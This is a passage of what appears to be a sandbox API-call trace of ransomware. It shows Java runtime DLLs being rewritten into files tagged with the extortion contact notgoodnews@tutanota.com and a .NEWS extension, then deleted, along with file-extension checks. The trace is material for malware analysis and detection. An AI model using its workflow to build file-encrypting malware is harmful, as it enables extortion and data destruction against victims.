Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0090.402] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.402] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.403] GetLastError () returned 0x0 [0090.403] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4a40, lpOverlapped=0x0) returned 1 [0090.404] WriteFile (in: hFile=0x38c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4a50, lpOverlapped=0x0) returned 1 [0090.405] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.405] WriteFile (in: hFile=0x38c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0090.406] SetEndOfFile (hFile=0x38c) returned 1 [0090.406] CloseHandle (hObject=0x38c) returned 1 [0090.406] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.406] SetEndOfFile (hFile=0x380) returned 1 [0090.407] CloseHandle (hObject=0x380) returned 1 [0090.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.407] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1 [0090.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.407] lstrlenW (lpString=".doc") returned 4 [0090.407] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.407] lstrlenW (lpString=".docx") returned 5 [0090.407] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0090.407] lstrlenW (lpString=".pdf") returned 4 [0090.407] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.407] lstrlenW (lpString=".xls") returned 4 [0090.407] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.407] lstrlenW (lpString=".xlsx") returned 5 [0090.407] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0090.407] lstrlenW (lpString=".ppt") returned 4 [0090.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.408] lstrlenW (lpString=".zip") returned 4 [0090.408] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.408] lstrlenW (lpString=".rar") returned 4 [0090.408] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.408] lstrlenW (lpString=".bz2") returned 4 [0090.408] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.408] lstrlenW (lpString=".7z") returned 3 [0090.408] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.408] lstrlenW (lpString=".dbf") returned 4 [0090.408] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.408] lstrlenW (lpString=".1cd") returned 4 [0090.408] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.408] lstrlenW (lpString=".jpg") returned 4 [0090.408] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.408] lstrlenW (lpString=".doc") returned 4 [0090.408] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.408] lstrlenW (lpString=".docx") returned 5 [0090.408] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0090.408] lstrlenW (lpString=".pdf") returned 4 [0090.408] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.408] lstrlenW (lpString=".xls") returned 4 [0090.408] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.408] lstrlenW (lpString=".xlsx") returned 5 [0090.408] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0090.408] lstrlenW (lpString=".ppt") returned 4 [0090.408] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.408] lstrlenW (lpString=".zip") returned 4 [0090.408] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.408] lstrlenW (lpString=".rar") returned 4 [0090.409] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.409] lstrlenW (lpString=".bz2") returned 4 [0090.409] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.409] lstrlenW (lpString=".7z") returned 3 [0090.409] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.409] lstrlenW (lpString=".dbf") returned 4 [0090.409] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.409] lstrlenW (lpString=".1cd") returned 4 [0090.409] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0090.409] lstrlenW (lpString=".jpg") returned 4 [0090.409] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.409] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.409] lstrlenW (lpString="j2pkcs11.dll") returned 12 [0090.409] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0090.409] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=63552) returned 1 [0090.409] CloseHandle (hObject=0x380) returned 1 [0090.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0090.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0090.410] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.410] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.410] GetLastError () returned 0x0 [0090.410] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xf840, lpOverlapped=0x0) returned 1 [0090.412] WriteFile (in: hFile=0x38c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf850, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf850, lpOverlapped=0x0) returned 1 [0090.414] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.414] WriteFile (in: hFile=0x38c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xec, lpOverlapped=0x0) returned 1 [0090.414] SetEndOfFile (hFile=0x38c) returned 1 [0090.414] CloseHandle (hObject=0x38c) returned 1 [0090.414] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.414] SetEndOfFile (hFile=0x380) returned 1 [0090.416] CloseHandle (hObject=0x380) returned 1 [0090.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.416] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 1 [0090.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.416] lstrlenW (lpString=".doc") returned 4 [0090.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.718] lstrlenW (lpString=".docx") returned 5 [0090.718] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0090.718] lstrlenW (lpString=".pdf") returned 4 [0090.718] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.718] lstrlenW (lpString=".xls") returned 4 [0090.718] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.718] lstrlenW (lpString=".xlsx") returned 5 [0090.718] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0090.718] lstrlenW (lpString=".ppt") returned 4 [0090.719] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.719] lstrlenW (lpString=".zip") returned 4 [0090.719] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.719] lstrlenW (lpString=".rar") returned 4 [0090.719] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.719] lstrlenW (lpString=".bz2") returned 4 [0090.719] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.719] lstrlenW (lpString=".7z") returned 3 [0090.719] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.719] lstrlenW (lpString=".dbf") returned 4 [0090.719] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.719] lstrlenW (lpString=".1cd") returned 4 [0090.719] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.719] lstrlenW (lpString=".jpg") returned 4 [0090.719] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.719] lstrlenW (lpString=".doc") returned 4 [0090.719] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.719] lstrlenW (lpString=".docx") returned 5 [0090.719] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0090.719] lstrlenW (lpString=".pdf") returned 4 [0090.719] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.719] lstrlenW (lpString=".xls") returned 4 [0090.719] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.719] lstrlenW (lpString=".xlsx") returned 5 [0090.719] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0090.719] lstrlenW (lpString=".ppt") returned 4 [0090.719] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.719] lstrlenW (lpString=".zip") returned 4 [0090.719] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.720] lstrlenW (lpString=".rar") returned 4 [0090.720] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.720] lstrlenW (lpString=".bz2") returned 4 [0090.720] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.720] lstrlenW (lpString=".7z") returned 3 [0090.720] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.720] lstrlenW (lpString=".dbf") returned 4 [0090.720] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.720] lstrlenW (lpString=".1cd") returned 4 [0090.720] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0090.720] lstrlenW (lpString=".jpg") returned 4 [0090.720] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.720] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.720] lstrlenW (lpString="java.dll") returned 8 [0090.720] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0090.995] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=159808) returned 1 [0090.995] CloseHandle (hObject=0x37c) returned 1 [0090.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0090.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.995] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0090.995] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.995] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.995] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.996] GetLastError () returned 0x0 [0090.996] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x27040, lpOverlapped=0x0) returned 1 [0091.000] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x27050, lpOverlapped=0x0) returned 1 [0091.003] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.003] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0091.003] SetEndOfFile (hFile=0x2c4) returned 1 [0091.003] CloseHandle (hObject=0x2c4) returned 1 [0091.003] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.003] SetEndOfFile (hFile=0x37c) returned 1 [0091.005] CloseHandle (hObject=0x37c) returned 1 [0091.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.005] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 1 [0091.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.005] lstrlenW (lpString=".doc") returned 4 [0091.005] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.005] lstrlenW (lpString=".docx") returned 5 [0091.005] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0091.005] lstrlenW (lpString=".pdf") returned 4 [0091.005] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.005] lstrlenW (lpString=".xls") returned 4 [0091.005] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.005] lstrlenW (lpString=".xlsx") returned 5 [0091.005] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0091.006] lstrlenW (lpString=".ppt") returned 4 [0091.006] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.006] lstrlenW (lpString=".zip") returned 4 [0091.006] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.006] lstrlenW (lpString=".rar") returned 4 [0091.006] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.006] lstrlenW (lpString=".bz2") returned 4 [0091.006] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.006] lstrlenW (lpString=".7z") returned 3 [0091.006] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.006] lstrlenW (lpString=".dbf") returned 4 [0091.006] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.006] lstrlenW (lpString=".1cd") returned 4 [0091.006] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.006] lstrlenW (lpString=".jpg") returned 4 [0091.006] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.006] lstrlenW (lpString=".doc") returned 4 [0091.006] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.006] lstrlenW (lpString=".docx") returned 5 [0091.006] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0091.006] lstrlenW (lpString=".pdf") returned 4 [0091.006] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.006] lstrlenW (lpString=".xls") returned 4 [0091.006] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.006] lstrlenW (lpString=".xlsx") returned 5 [0091.006] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0091.006] lstrlenW (lpString=".ppt") returned 4 [0091.006] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.007] lstrlenW (lpString=".zip") returned 4 [0091.007] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.007] lstrlenW (lpString=".rar") returned 4 [0091.007] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.007] lstrlenW (lpString=".bz2") returned 4 [0091.007] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.007] lstrlenW (lpString=".7z") returned 3 [0091.007] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.007] lstrlenW (lpString=".dbf") returned 4 [0091.007] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.007] lstrlenW (lpString=".1cd") returned 4 [0091.007] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0091.007] lstrlenW (lpString=".jpg") returned 4 [0091.007] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.007] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.007] lstrlenW (lpString="javafx_iio.dll") returned 14 [0091.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0091.008] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=128064) returned 1 [0091.008] CloseHandle (hObject=0x37c) returned 1 [0091.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0091.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0091.008] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.008] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0091.008] GetLastError () returned 0x0 [0091.008] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, 